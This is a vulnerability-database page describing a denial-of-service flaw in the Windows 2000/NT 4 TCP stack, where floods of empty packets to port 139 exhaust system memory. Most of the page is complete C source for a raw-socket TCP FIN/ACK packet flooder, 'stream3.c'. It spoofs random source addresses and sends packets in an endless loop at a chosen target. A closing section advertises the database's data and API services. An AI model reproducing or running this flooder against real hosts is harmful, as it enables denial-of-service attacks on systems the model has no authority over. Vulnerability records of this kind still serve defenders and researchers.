Lucene search
K

Microsoft Windows 2000/NT 4 TCP Stack DoS Vulnerability (2)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 10 Views

Windows 2000/NT 4 TCP Stack DoS Vulnerability discovered allowing system memory consumption and potential system unavailability. Vulnerable to TCP FIN packet flooding

Code

                                                source: http://www.securityfocus.com/bid/3967/info
 
An issue exists in Windows which could cause the TCP stack to consume all available system memory.
 
This is achieved if a user sends numerous empty TCP packets to a host on port 139.
 
Successful exploitation of this vulnerability could render the system useless.

/*
 stream3.c - TCP FIN packet flooder
 patched from stream.c by 3APA3A, 2000
 [email protected]
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <strings.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#ifndef __USE_BSD
#define __USE_BSD
#endif
#ifndef __FAVOR_BSD
#define __FAVOR_BSD
#endif
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>

#ifdef LINUX
#define FIX(x)  htons(x)
#else
#define FIX(x)  (x)
#endif

struct ip_hdr {
    u_int       ip_hl:4,                /* header length in 32 bit words */
                ip_v:4;                 /* ip version */
    u_char      ip_tos;                 /* type of service */
    u_short     ip_len;                 /* total packet length */
    u_short     ip_id;                  /* identification */
    u_short     ip_off;                 /* fragment offset */
    u_char      ip_ttl;                 /* time to live */
    u_char      ip_p;                   /* protocol */
    u_short     ip_sum;                 /* ip checksum */
    u_long      saddr, daddr;           /* source and dest address */
};

struct tcp_hdr {
    u_short     th_sport;               /* source port */
    u_short     th_dport;               /* destination port */
    u_long      th_seq;                 /* sequence number */
    u_long      th_ack;                 /* acknowledgement number */
    u_int       th_x2:4,                /* unused */
                th_off:4;               /* data offset */
    u_char      th_flags;               /* flags field */
    u_short     th_win;                 /* window size */
    u_short     th_sum;                 /* tcp checksum */
    u_short     th_urp;                 /* urgent pointer */
};

struct tcpopt_hdr {
    u_char  type;                       /* type */
    u_char  len;                                /* length */
    u_short value;                      /* value */
};

struct pseudo_hdr {                     /* See RFC 793 Pseudo Header */
    u_long saddr, daddr;                        /* source and dest address */
    u_char mbz, ptcl;                   /* zero and protocol */
    u_short tcpl;                       /* tcp length */
};

struct packet {
    struct ip/*_hdr*/ ip;
    struct tcphdr tcp;
/* struct tcpopt_hdr opt; */
};

struct cksum {
    struct pseudo_hdr pseudo;
    struct tcphdr tcp;
};

struct packet packet;
struct cksum cksum;
struct sockaddr_in s_in;
u_short dstport, pktsize, pps;
u_long dstaddr;
int sock;

void usage(char *progname)
{
    fprintf(stderr, "Usage: %s <dstaddr> <dstport> <pktsize> <pps>\n", 
progname);
    fprintf(stderr, "    dstaddr  - the target we are trying to attack.\n");
    fprintf(stderr, "    dstport  - the port of the target, 0 = random.\n");
    fprintf(stderr, "    pktsize  - the extra size to use.  0 = normal 
syn.\n");
    exit(1);
}

/* This is a reference internet checksum implimentation, not very fast */
inline u_short in_cksum(u_short *addr, int len)
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;

     /* Our algorithm is simple, using a 32 bit accumulator (sum), we add
      * sequential 16 bit words to it, and at the end, fold back all the
      * carry bits from the top 16 bits into the lower 16 bits. */

     while (nleft > 1)  {
         sum += *w++;
         nleft -= 2;
     }

     /* mop up an odd byte, if necessary */
     if (nleft == 1) {
         *(u_char *)(&answer) = *(u_char *) w;
         sum += answer;
     }

     /* add back carry outs from top 16 bits to low 16 bits */
     sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
     sum += (sum >> 16);                /* add carry */
     answer = ~sum;                     /* truncate to 16 bits */
     return(answer);
}

u_long lookup(char *hostname)
{
    struct hostent *hp;

    if ((hp = gethostbyname(hostname)) == NULL) {
       fprintf(stderr, "Could not resolve %s.\n", hostname);
       exit(1);
    }

    return *(u_long *)hp->h_addr;
}


void flooder(void)
{
    struct timespec ts;
    int i;


    memset(&packet, 0, sizeof(packet));

    ts.tv_sec                   = 0;
    ts.tv_nsec                  = 10;

    packet.ip.ip_hl             = 5;
    packet.ip.ip_v              = 4;
    packet.ip.ip_p              = IPPROTO_TCP;
    packet.ip.ip_tos            = 0x08;
    packet.ip.ip_id             = rand();
    packet.ip.ip_len            = FIX(sizeof(packet));
    packet.ip.ip_off            = 0; /* IP_DF? */
    packet.ip.ip_ttl            = 255;
    packet.ip.ip_dst.s_addr     = dstaddr;
    packet.ip.ip_src.s_addr     = random();
    packet.ip.ip_sum         	= 0;
    packet.tcp.th_sum           = 0;

    packet.tcp.th_win           = htons(16384);
    packet.tcp.th_seq           = random();
    packet.tcp.th_ack           = 0;
    packet.tcp.th_off           = 5; /* 5 */
    packet.tcp.th_urp           = 0;
    packet.tcp.th_ack 		= rand();
    packet.tcp.th_flags 	= TH_ACK|TH_FIN;
    packet.tcp.th_sport 	= rand();
    packet.tcp.th_dport         = dstport?htons(dstport):rand();

/*
    packet.opt.type             = 0x02;
    packet.opt.len              = 0x04;
    packet.opt.value            = htons(1460);
*/


    s_in.sin_family             = AF_INET;
    s_in.sin_port               = packet.tcp.th_dport;
    s_in.sin_addr.s_addr	= dstaddr;

    cksum.pseudo.daddr          = dstaddr;
    cksum.pseudo.saddr		= packet.ip.ip_src.s_addr;
    cksum.pseudo.mbz            = 0;
    cksum.pseudo.ptcl           = IPPROTO_TCP;
    cksum.pseudo.tcpl           = htons(sizeof(struct tcphdr));
    cksum.tcp                   = packet.tcp;

    packet.ip.ip_sum            = in_cksum((void *)&packet.ip, 20);
    packet.tcp.th_sum           = in_cksum((void *)&cksum, sizeof(cksum));


    for(i=0;;++i) {


       if (sendto(sock, &packet, sizeof(packet), 0, (struct sockaddr 
*)&s_in, sizeof(s_in)) < 0)
          perror("jess");

    }
}

int main(int argc, char *argv[])
{
    int on = 1;

    printf("stream3.c v0.01 - TCP FIN Packet Flooder\n modified by [email protected]\n");

    if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
       perror("socket");
       exit(1);
    }

    setgid(getgid()); setuid(getuid());

    if (argc < 4)
       usage(argv[0]);

    if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) <  0) {
       perror("setsockopt");
       exit(1);
    }

    srand((time(NULL) ^ getpid()) + getppid());

    printf("\nResolving IPs..."); fflush(stdout);

    dstaddr     = lookup(argv[1]);
    dstport     = atoi(argv[2]);
    pktsize     = atoi(argv[3]);

    printf("Sending..."); fflush(stdout);

    flooder();

    return 0;
}
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation